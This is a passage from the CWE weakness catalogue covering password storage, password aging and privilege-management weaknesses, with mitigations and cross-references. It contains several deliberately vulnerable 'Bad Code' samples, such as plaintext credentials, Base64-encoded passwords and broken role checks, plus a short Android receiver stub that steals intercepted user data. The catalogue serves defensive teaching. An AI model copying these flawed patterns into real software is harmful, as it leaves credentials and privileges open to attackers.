Perform access control checks and limit which entities can access the feature that requires the hard-coded password. For example, a feature might only be enabled through the system console instead of through a network connection.

**Architecture and Design**

For inbound authentication: apply strong one-way hashes to your passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When receiving an incoming password during authentication, take the hash of the password and compare it to the hash that you have saved.

Use randomly assigned salts for each separate hash that you generate. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

**Architecture and Design**

For front-end to back-end connections: Three solutions are possible, although none are complete.

The first suggestion involves the use of generated passwords which are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals.

Next, the passwords used should be limited at the back end to only performing actions valid for the front end, as opposed to having full access.

Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay style attacks.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	Count	Page
ChildOf	C	254	Security Features	700	452
PeerOf	B	257	Storing Passwords in a Recoverable Format	1000	456
PeerOf	B	321	Use of Hard-coded Cryptographic Key	1000	565
ChildOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1117
ChildOf	C	753	2009 Top 25 - Porous Defenses	750	1143
ChildOf	B	798	Use of Hard-coded Credentials	699	1219
				1000	
ChildOf	C	861	CERT Java Secure Coding Section 49 - Miscellaneous (MSC)	844	1298
ChildOf	C	950	SFP Secondary Cluster: Hardcoded Sensitive Data	888	1372
MemberOf	V	630	Weaknesses Examined by SAMATE	630	980
CanFollow	B	656	Reliance on Security Through Obscurity	1000	1015

**Causal Nature**

**Explicit** (an explicit weakness resulting from behavior of the developer)

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Password Management: Hard-Coded Password
CLASP			Use of hard-coded password

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management
CERT Java Secure Coding Software Fault Patterns	MSC03-J SFP33		Never hard code sensitive information Hardcoded sensitive data

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
188	Reverse Engineering	
189	Software Reverse Engineering	
190	Reverse Engineer an Executable to Expose Assumed Hidden Functionality or Content	
191	Read Sensitive Strings Within an Executable	
192	Protocol Reverse Engineering	
205	Lifting credential(s)/key material embedded in client distributions (thick or thin)	

### White Box Definitions

Definition: A weakness where code path has:

1. end statement that passes a data item to a password function
2. value of the data item is a constant

### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 19: Use of Weak Password-Based Systems." Page 279. McGraw-Hill. 2010.

### Maintenance Notes

This entry should probably be split into multiple variants: an inbound variant (as seen in the second demonstrative example) and an outbound variant (as seen in the first demonstrative example). These variants are likely to have different consequences, detectability, etc. See extended description.

## CWE-260: Password in Configuration File

Weakness ID: 260 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The software stores a password in a configuration file that might be accessible to actors who do not know the password.

#### Extended Description

This can result in compromise of the system for which the password is used. An attacker could gain access to this file and learn the stored password or worse yet, change the password to one of their choosing.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

Gain privileges / assume identity

### Demonstrative Examples

#### Example 1:

Below is a snippet from a Java properties file.

#### Java Example:

```
webapp.ldap.username = secretUsername
webapp.ldap.password = secretPassword
```

Bad Code

Because the LDAP credentials are stored in plaintext, anyone with access to the file can gain access to the resource.

### Example 2:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

#### Java Example:

*Bad Code*

```
# Java Web App ResourceBundle properties file
...
webapp.Idap.username=secretUsername
webapp.Idap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

#### ASP.NET Example:

*Bad Code*

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-13.

### Potential Mitigations

#### Architecture and Design

Avoid storing passwords in easily accessible locations.

#### Architecture and Design

Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		254	Security Features	699	452
ChildOf		522	Insufficiently Protected Credentials	<b>700</b>	862
ChildOf		632	Weaknesses that Affect Files or Directories	<b>699</b>	<b>1000</b>
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>631</b>	981
ParentOf		13	<i>ASP.NET Misconfiguration: Password in Configuration File</i>	<b>888</b>	1377
ParentOf		258	<i>Empty Password in Configuration File</i>	<b>1000</b>	11
				<b>699</b>	458
				<b>1000</b>	

### Affected Resources

- File/Directory

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Password Management: Password in Configuration File

### References

[REF-9] John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. Addison-Wesley. 2002.

## CWE-261: Weak Cryptography for Passwords

Weakness ID: 261 (*Weakness Variant*)

Status: Incomplete

### Description

## Summary

Obscuring a password with a trivial encoding does not protect the password.

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

Gain privileges / assume identity

### Demonstrative Examples

#### Example 1:

The following code reads a password from a properties file and uses the password to connect to a database.

#### Java Example:

*Bad Code*

```
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = Base64.decode(prop.getProperty("password"));
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone with access to config.properties can read the value of password and easily determine that the value has been base 64 encoded. If a devious employee has access to this information, they can use it to break into the system.

#### Example 2:

The following code reads a password from the registry and uses the password to create a new network credential.

#### Java Example:

*Bad Code*

```
...
string value = regKey.GetValue(passKey).ToString();
byte[] decVal = Convert.FromBase64String(value);
NetworkCredential netCred = new NetworkCredential(username, decVal.toString(), domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

### Potential Mitigations

Passwords should be encrypted with keys that are at least 128 bits in length for adequate security.

### Other Notes

Password management issues occur when a password is stored in plaintext in an application's properties or configuration file. A programmer can attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password.

The "crypt" family of functions uses weak cryptographic algorithms and should be avoided. It may be present in some projects for compatibility.

### Relationships

Nature	Type	ID	Name	⏏	Page
ChildOf		254	Security Features	700	452
ChildOf		255	Credentials Management	699	453
ChildOf		287	Improper Authentication	1000	507
ChildOf		326	Inadequate Encryption Strength	699 1000	571
ChildOf		729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	1119



Nature	Type	ID	Name	V	Page
ChildOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	1375

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Password Management: Weak Cryptography
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
55	Rainbow Table Password Cracking	

### References

[REF-9] John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. Addison-Wesley. 2002.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 19: Use of Weak Password-Based Systems." Page 279. McGraw-Hill. 2010.

## CWE-262: Not Using Password Aging

Weakness ID: 262 (Weakness Variant)

Status: Draft

### Description

#### Summary

If no mechanism is in place for managing password aging, users will have no incentive to update passwords in a timely manner.

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

#### Gain privileges / assume identity

As passwords age, the probability that they are compromised grows.

### Likelihood of Exploit

Very Low

### Demonstrative Examples

#### Example 1:

A common example is not having a system to terminate old employee accounts.

#### Example 2:

Not having a system for enforcing the changing of passwords every certain period.

### Potential Mitigations

#### Architecture and Design

The recommendation that users change their passwords regularly and do not reuse passwords is universal among security experts. In order to enforce this, it is useful to have a password aging mechanism that notifies users when passwords are considered old and that requests that they replace them with new, strong passwords. In order for this functionality to be useful, however, it must be accompanied with documentation which stresses how important this practice is and which makes the entire process as simple as possible for the user.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	255	Credentials Management	699	453
PeerOf	B	263	Password Aging with Long Expiration	1000	467
ChildOf	C	287	Improper Authentication	1000	507
PeerOf	B	309	Use of Password System for Primary Authentication	1000	545

Nature	Type	ID	Name	V	Page
PeerOf	B	324	Use of a Key Past its Expiration Date	1000	569
ChildOf	B	404	Improper Resource Shutdown or Release	1000	699
ChildOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	1373
MemberOf	V	884	CWE Cross-section	884	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Not allowing password aging

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
16	Dictionary-based Password Attack	
49	Password Brute Forcing	
55	Rainbow Table Password Cracking	
70	Try Common(default) Usernames and Passwords	

### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 19: Use of Weak Password-Based Systems." Page 279. McGraw-Hill. 2010.

## CWE-263: Password Aging with Long Expiration

Weakness ID: 263 (*Weakness Base*)

Status: Draft

### Description

#### Summary

Allowing password aging to occur unchecked can result in the possibility of diminished password integrity.

#### Extended Description

Just as neglecting to include functionality for the management of password aging is dangerous, so is allowing password aging to continue unchecked. Passwords must be given a maximum life span, after which a user is required to update with a new and different password.

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

#### Gain privileges / assume identity

As passwords age, the probability that they are compromised grows.

### Likelihood of Exploit

Very Low

### Demonstrative Examples

#### Example 1:

A common example is not having a system to terminate old employee accounts.

#### Example 2:

Not having a system for enforcing the changing of passwords every certain period.

### Potential Mitigations

#### Architecture and Design

Ensure that password aging is limited so that there is a defined maximum age for passwords and so that the user is notified several times leading up to the password expiration.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	255	Credentials Management	699	453

Nature	Type	ID	Name	V	Page
ChildOf	G	287	Improper Authentication	1000	507
ChildOf	B	404	Improper Resource Shutdown or Release	1000	699
ChildOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	1373
PeerOf	V	262	<i>Not Using Password Aging</i>	1000	466
MemberOf	V	884	<i>CWE Cross-section</i>	884	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Allowing password aging

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
16	Dictionary-based Password Attack	
49	Password Brute Forcing	
55	Rainbow Table Password Cracking	
70	Try Common(default) Usernames and Passwords	

### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 19: Use of Weak Password-Based Systems." Page 279. McGraw-Hill. 2010.

## CWE-264: Permissions, Privileges, and Access Controls

Category ID: 264 (Category)

Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

### Applicable Platforms

#### Languages

- All

### Detection Methods

#### Manual Static Analysis - Binary / Bytecode

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

#### Dynamic Analysis with automated results interpretation

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

#### Dynamic Analysis with manual results interpretation

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

## Manual Static Analysis - Source Code

### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

## Automated Static Analysis - Source Code

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Context-configured Source Code Weakness Analyzer

## Architecture / Design Review

### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

## Potential Mitigations

### Architecture and Design

#### Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

## Relationships

Nature	Type	ID	Name		Page
ChildOf		254	Security Features		699 452
ParentOf		265	Privilege / Sandbox Issues		699 469
ParentOf		275	Permission Issues		699 488
ParentOf		282	Improper Ownership Management		699 497
CanAlsoBe		283	Unverified Ownership		1000 498
ParentOf		284	Improper Access Control		699 499
MemberOf		635	Weaknesses Used by NVD		635 983

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Permissions, Privileges, and ACLs

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
5	Blue Boxing	
17	Accessing, Modifying or Executing Executable Files	
35	Leverage Executable Code in Non-Executable Files	
58	Restful Privilege Elevation	
69	Target Programs with Elevated Privileges	
76	Manipulating Input to File System Calls	

## References

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 7, "How Tokens, Privileges, SIDs, ACLs, and Processes Relate" Page 218. 2nd Edition. Microsoft. 2002.

# CWE-265: Privilege / Sandbox Issues

Category ID: 265 (Category)

Status: Incomplete

## Description

### Summary

Weaknesses in this category occur with improper enforcement of sandbox environments, or the improper handling, assignment, or management of privileges.

### Detection Methods

#### Automated Static Analysis - Binary / Bytecode

##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Compare binary / bytecode to application permission manifest

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

#### Manual Static Analysis - Binary / Bytecode

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

#### Dynamic Analysis with automated results interpretation

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

#### Manual Static Analysis - Source Code

##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

#### Automated Static Analysis - Source Code

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

#### Automated Static Analysis

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Configuration Checker

Permission Manifest Analysis

#### Architecture / Design Review

##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Cost effective for partial coverage:

Attack Modeling

### Potential Mitigations

## Architecture and Design Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

## Architecture and Design Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	C	264	Permissions, Privileges, and Access Controls	699	468
ParentOf	C	250	Execution with Unnecessary Privileges	699	440
ParentOf	B	266	Incorrect Privilege Assignment	699	471
ParentOf	B	267	Privilege Defined With Unsafe Actions	699	473
ParentOf	B	268	Privilege Chaining	699	475
ParentOf	B	269	Improper Privilege Management	699	477
ParentOf	C	271	Privilege Dropping / Lowering Errors	699	480
ParentOf	B	274	Improper Handling of Insufficient Privileges	699	487
ParentOf	C	610	Externally Controlled Reference to a Resource in Another Sphere	699	957
PeerOf	B	619	Dangling Database Cursor ('Cursor Injection')	1000	966
ParentOf	B	648	Incorrect Use of Privileged APIs	699	1004

### Relationship Notes

This can strongly overlap authorization errors.

### Research Gaps

Many of the following concepts require deeper study. Most privilege problems are not classified at such a low level of detail, and terminology is very sparse. Certain classes of software, such as web browsers and software bug trackers, provide a rich set of examples for further research. Operating systems have matured to the point that these kinds of weaknesses are rare, but finer-grained models for privileges, capabilities, or roles might introduce subtler issues.

### Theoretical Notes

A sandbox could be regarded as an explicitly defined sphere of control, in that the sandbox only defines a limited set of behaviors, which can only access a limited set of resources.

It could be argued that any privilege problem occurs within the context of a sandbox.

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Privilege / sandbox errors

## CWE-266: Incorrect Privilege Assignment

Weakness ID: 266 (Weakness Base)

Status: Draft

### Description

#### Summary

A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

**Access Control****Gain privileges / assume identity**

A user can access restricted functionality and/or sensitive information that may include administrative functionality and user accounts.

**Demonstrative Examples****Example 1:**

Evidence of privilege change:

**C Example:***Bad Code*

```
setuid(0);
/* do some stuff */
setuid(getuid());
```

**Java Example:***Bad Code*

```
AccessController.doPrivileged(new PrivilegedAction() {
    public Object run() {
        // privileged code goes here, for example:
        System.loadLibrary("awt");
        return null;
        // nothing to return
    }
})
```

**Example 2:**

This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.

**Java Example:***Bad Code*

```
Intent intent = new Intent();
intent.setAction("com.example.BackupUserData");
intent.setData(file_uri);
intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);
sendBroadcast(intent);
```

**Java Example:***Attack*

```
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Uri userData = intent.getData();
        stealUserData(userData);
    }
}
```

Any malicious application can register to receive this intent. Because of the FLAG\_GRANT\_READ\_URI\_PERMISSION included with the intent, the malicious receiver code can read the user's data.

**Observed Examples**

Reference	Description
CVE-1999-1193	untrusted user placed in unix "wheel" group
CVE-2004-0274	Product mistakenly assigns a particular status to an entity, leading to increased privileges.
CVE-2005-2496	Product uses group ID of a user instead of the group, causing it to run with different privileges. This is resultant from some other unknown issue.
CVE-2005-2741	Product allows users to grant themselves certain rights that can be used to escalate privileges.

**Potential Mitigations****Architecture and Design****Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.



**Architecture and Design****Operation****Environment Hardening**

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.266.1]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Weakness Ordinalities**

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

**Relationships**

Nature	Type	ID	Name	Count	Page
ChildOf	C	265	Privilege / Sandbox Issues	699	469
ChildOf	B	269	Improper Privilege Management	1000	477
CanAlsoBe	G	286	Incorrect User Management	1000	507
ChildOf	C	634	Weaknesses that Affect System Processes	631	982
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1116
ChildOf	C	859	CERT Java Secure Coding Section 14 - Platform Security (SEC)	844	1297
ChildOf	C	901	SFP Primary Cluster: Privilege	888	1328
ParentOf	V	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods	1000	7
ParentOf	V	520	.NET Misconfiguration: Use of Impersonation	1000	861
ParentOf	V	556	ASP.NET Misconfiguration: Use of Identity Impersonation	1000	892
MemberOf	V	884	CWE Cross-section	884	1319

**Affected Resources**

- System Process

**Causal Nature**

**Explicit** (an explicit weakness resulting from behavior of the developer)

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Incorrect Privilege Assignment
CERT Java Secure Coding	SEC00-J	Do not allow privileged blocks to leak sensitive information across a trust boundary
CERT Java Secure Coding	SEC01-J	Do not allow tainted variables in privileged blocks

**References**

[31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html> >.

## CWE-267: Privilege Defined With Unsafe Actions

**Weakness ID:** 267 (Weakness Base)

**Status:** Incomplete

**Description****Summary**

A particular privilege, role, capability, or right can be used to perform unsafe actions that were not intended, even when it is assigned to the correct entity.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms****Languages**

- All

**Common Consequences**

**Access Control****Gain privileges / assume identity**

A user can access restricted functionality and/or sensitive information that may include administrative functionality and user accounts.

**Demonstrative Examples**

This code intends to allow only Administrators to print debug information about a system.

**Java Example:***Bad Code*

```
public enum Roles {
    ADMIN,USER,GUEST
}
public void printDebugInfo(User requestingUser){
    if(isAuthenticated(requestingUser)){
        switch(requestingUser.role){
            case GUEST:
                System.out.println("You are not authorized to perform this command");
                break;
            default:
                System.out.println(currentDebugState());
                break;
        }
    }
    else{
        System.out.println("You must be logged in to perform this command");
    }
}
```

While the intention was to only allow Administrators to print the debug information, the code as written only excludes those the with the role of "GUEST". Someone with the role of "ADMIN" or "USER" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system.

**Observed Examples**

Reference	Description
CVE-2000-0315	Traceroute program allows unprivileged users to modify source address of packet (Accessible entities).
CVE-2000-0506	User with capability can prevent setuid program from dropping privileges (Unsafe privileged actions).
CVE-2000-1212	User with privilege can edit raw underlying object using unprotected method (Unsafe privileged actions).
CVE-2001-1166	User with debugging rights can read entire process (Unsafe privileged actions).
CVE-2001-1480	Untrusted entity allowed to access the system clipboard (Unsafe privileged actions).
CVE-2001-1551	Extra Linux capability allows bypass of system-specified restriction (Unsafe privileged actions).
CVE-2002-1145	"public" database user can use stored procedure to modify data controlled by the database owner (Unsafe privileged actions).
CVE-2002-1154	Script does not restrict access to an update command, leading to resultant disk consumption and filled error logs (Accessible entities).
CVE-2002-1671	Untrusted object/method gets access to clipboard (Accessible entities).
CVE-2002-1981	Roles have access to dangerous procedures (Accessible entities).
CVE-2002-2042	Allows attachment to and modification of privileged processes (Unsafe privileged actions).
CVE-2004-0380	Bypass domain restrictions using a particular file that references unsafe URI schemes (Accessible entities).
CVE-2004-2204	Gain privileges using functions/tags that should be restricted (Accessible entities).
CVE-2005-1742	Inappropriate actions allowed by a particular role(Unsafe privileged actions).
CVE-2005-1816	Non-root admins can add themselves or others to the root admin group (Unsafe privileged actions).
CVE-2005-2027	Certain debugging commands not restricted to just the administrator, allowing registry modification and infoleak (Unsafe privileged actions).
CVE-2005-2173	Users can change certain properties of objects to perform otherwise unauthorized actions (Unsafe privileged actions).

**Potential Mitigations**

## Architecture and Design

### Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

## Architecture and Design

### Operation

#### Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.267.1]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

#### Relationships

Nature	Type	ID	Name	Count	Page
ChildOf	C	265	Privilege / Sandbox Issues	699	469
ChildOf	B	269	Improper Privilege Management	1000	477
ChildOf	C	901	SFP Primary Cluster: Privilege	888	1328
ParentOf	V	623	Unsafe ActiveX Control Marked Safe For Scripting	699	971
				1000	
MemberOf	V	884	CWE Cross-section	884	1319

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Unsafe Privilege

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
58	Restful Privilege Elevation	

#### References

[31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html> >.

#### Maintenance Notes

This overlaps authorization and access control problems.

Note: there are 2 separate sub-categories here:

- privilege incorrectly allows entities to perform certain actions
- object is incorrectly accessible to entities with a given privilege

## CWE-268: Privilege Chaining

Weakness ID: 268 (Weakness Base)

Status: Draft

### Description

#### Summary

Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Applicable Platforms

#### Languages

- All

#### Common Consequences

## Access Control

### Gain privileges / assume identity

A user can be given or gain access rights of another user. This can give the user unauthorized access to sensitive information including the access information of another user.

### Likelihood of Exploit

High

### Demonstrative Examples

This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords.

#### Java Example:

*Bad Code*

```
public enum Roles {
    ADMIN, OPERATOR, USER, GUEST
}
public void resetPassword(User requestingUser, User user, String password ){
    if(isAuthenticated(requestingUser)){
        switch(requestingUser.role){
            case GUEST:
                System.out.println("You are not authorized to perform this command");
                break;
            case USER:
                System.out.println("You are not authorized to perform this command");
                break;
            default:
                setPassword(user,password);
                break;
        }
    }
    else{
        System.out.println("You must be logged in to perform this command");
    }
}
```

This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.

### Observed Examples

Reference	Description
CVE-2002-1772	Gain certain rights via privilege chaining in alternate channel.
CVE-2003-0640	"operator" user can overwrite usernames and passwords to gain admin privileges.
CVE-2005-1736	Chaining of user rights.
CVE-2005-1973	Application is allowed to assign extra permissions to itself.

### Potential Mitigations

#### Architecture and Design

##### Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

#### Architecture and Design

##### Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

**Architecture and Design**  
**Operation**  
**Environment Hardening**

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.268.1]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	Count	Page
ChildOf	C	265	Privilege / Sandbox Issues	699	469
ChildOf	B	269	Improper Privilege Management	1000	477
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1116
ChildOf	C	901	SFP Primary Cluster: Privilege	888	1328
MemberOf	V	884	CWE Cross-section	884	1319

**Relationship Notes**

There is some conceptual overlap with Unsafe Privilege.

**Research Gaps**

It is difficult to find good examples for this weakness.

**Causal Nature**

**Explicit** (an explicit weakness resulting from behavior of the developer)

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Privilege Chaining

**References**

[31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html> >.

## CWE-269: Improper Privilege Management

**Weakness ID:** 269 (Weakness Base) **Status:** Incomplete

**Description**

**Summary**

The software does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Access Control**

Gain privileges / assume identity

**Likelihood of Exploit**

Medium

**Observed Examples**

Reference	Description
CVE-2001-0128	Does not properly compute roles.

Reference	Description
CVE-2001-1514	Does not properly pass security context to child processes in certain cases, allows privilege escalation.
CVE-2001-1555	Terminal privileges are not reset when a user logs out.

## Potential Mitigations

### Architecture and Design

#### Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

### Architecture and Design

#### Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

### Architecture and Design

#### Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

## Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	265	Privilege / Sandbox Issues	699	469
ChildOf	C	284	Improper Access Control	699 1000	499
ChildOf	C	901	SFP Primary Cluster: Privilege	888	1328
ParentOf	C	250	Execution with Unnecessary Privileges	1000	440
ParentOf	B	266	Incorrect Privilege Assignment	1000	471
ParentOf	B	267	Privilege Defined With Unsafe Actions	1000	473
ParentOf	B	268	Privilege Chaining	1000	475
ParentOf	B	270	Privilege Context Switching Error	699 1000	479
ParentOf	C	271	Privilege Dropping / Lowering Errors	1000	480
ParentOf	B	274	Improper Handling of Insufficient Privileges	1000	487
ParentOf	B	648	Incorrect Use of Privileged APIs	1000	1004

## Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Privilege Management Error

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
58	Restful Privilege Elevation	

## References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 16: Executing Code With Too Much Privilege." Page 243. McGraw-Hill. 2010.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Dropping Privileges Permanently", Page 479.. 1st Edition. Addison Wesley. 2006.

## Maintenance Notes

